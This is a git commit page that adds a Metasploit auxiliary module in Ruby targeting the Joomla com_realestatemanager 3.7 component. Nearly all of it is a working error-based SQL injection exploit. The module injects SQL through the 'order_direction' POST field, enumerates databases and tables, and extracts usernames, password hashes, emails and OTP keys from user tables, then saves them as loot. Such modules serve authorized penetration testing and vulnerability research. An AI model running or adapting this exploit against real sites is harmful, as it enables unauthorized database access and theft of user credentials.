joomla plugin com_realestatemanager Error Based SQL Ijnection
parent
fc09eaf517
commit
132cbf0cd7
|
@ -0,0 +1,206 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Joomla Real Estate Manager Component Error-Based SQL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL injection vulnerability in Joomla Plugin
|
||||
com_realestatemanager versions 3.7 in order to either enumerate
|
||||
usernames and password hashes.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '38445']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Omer Ramic', # discovery
|
||||
'Nixawk', # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Oct 22 2015'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
flag = Rex::Text.rand_text_alpha(5)
|
||||
payload = "0x#{flag.unpack('H*')[0]}"
|
||||
|
||||
data = sqli(payload)
|
||||
if data && data.include?(flag)
|
||||
Msf::Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def sqli(query)
|
||||
lmark = Rex::Text.rand_text_alpha(5)
|
||||
rmark = Rex::Text.rand_text_alpha(5)
|
||||
|
||||
payload = '(SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
|
||||
payload << "0x#{lmark.unpack('H*')[0]},"
|
||||
payload << '%s,'
|
||||
payload << "0x#{rmark.unpack('H*')[0]},"
|
||||
payload << 'FLOOR(RAND(0)*2)'
|
||||
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
|
||||
|
||||
get = {
|
||||
'option' => 'com_realestatemanager',
|
||||
'task' => 'showCategory',
|
||||
'catid' => '50',
|
||||
'Itemid' => '132'
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vars_get' => get,
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
cookie = res.get_cookies
|
||||
post = {
|
||||
'order_field' => 'price',
|
||||
'order_direction' => 'asc,' + (payload % query)
|
||||
}
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => get,
|
||||
'vars_post' => post
|
||||
})
|
||||
|
||||
# Error based SQL Injection
|
||||
if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/
|
||||
$1
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def query_databases
|
||||
dbs = []
|
||||
|
||||
query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
|
||||
query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
|
||||
|
||||
dbc = sqli(query)
|
||||
|
||||
query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
|
||||
query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
|
||||
|
||||
0.upto(dbc.to_i - 1) do |i|
|
||||
dbname = sqli(query_fmt % i)
|
||||
dbs << dbname
|
||||
vprint_good(dbname)
|
||||
end
|
||||
|
||||
%w(performance_schema information_schema mysql).each do |dbname|
|
||||
dbs.delete(dbname) if dbs.include?(dbname)
|
||||
end
|
||||
dbs
|
||||
end
|
||||
|
||||
def query_tables(database)
|
||||
tbs = []
|
||||
|
||||
query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
|
||||
query << 'FROM INFORMATION_SCHEMA.TABLES '
|
||||
query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"
|
||||
|
||||
tbc = sqli(query)
|
||||
|
||||
query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
|
||||
query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
|
||||
query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
|
||||
query_fmt << 'LIMIT %d,1)'
|
||||
|
||||
vprint_status('tables in database: %s' % database)
|
||||
0.upto(tbc.to_i - 1) do |i|
|
||||
tbname = sqli(query_fmt % i)
|
||||
vprint_good(tbname)
|
||||
tbs << tbname if tbname =~ /_users$/
|
||||
end
|
||||
tbs
|
||||
end
|
||||
|
||||
def query_columns(database, table)
|
||||
cols = []
|
||||
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
|
||||
|
||||
colc = sqli(query)
|
||||
vprint_status(colc)
|
||||
|
||||
valid_cols = [ # joomla_users
|
||||
'activation',
|
||||
'block',
|
||||
'email',
|
||||
'id',
|
||||
'lastResetTime',
|
||||
'lastvisitDate',
|
||||
'name',
|
||||
'otep',
|
||||
'otpKey',
|
||||
'params',
|
||||
'password',
|
||||
'registerDate',
|
||||
'requireReset',
|
||||
'resetCount',
|
||||
'sendEmail',
|
||||
'username'
|
||||
]
|
||||
|
||||
query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
|
||||
query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"
|
||||
|
||||
0.upto(colc.to_i - 1) do |i|
|
||||
record = {}
|
||||
valid_cols.each do |col|
|
||||
l = 1
|
||||
record[col] = ''
|
||||
loop do
|
||||
value = sqli(query_fmt % [col, l, i])
|
||||
break if value.blank?
|
||||
record[col] << value
|
||||
l += 54
|
||||
end
|
||||
end
|
||||
cols << record
|
||||
vprint_status(record.to_s)
|
||||
end
|
||||
cols
|
||||
end
|
||||
|
||||
def run
|
||||
dbs = query_databases
|
||||
dbs.each do |db|
|
||||
tables = query_tables(db)
|
||||
tables.each do |table|
|
||||
cols = query_columns(db, table)
|
||||
next if cols.blank?
|
||||
path = store_loot(
|
||||
'joomla.users',
|
||||
'text/plain',
|
||||
datastore['RHOST'],
|
||||
cols.to_json,
|
||||
'joomla.users')
|
||||
print_good('Saved file to: ' + path)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue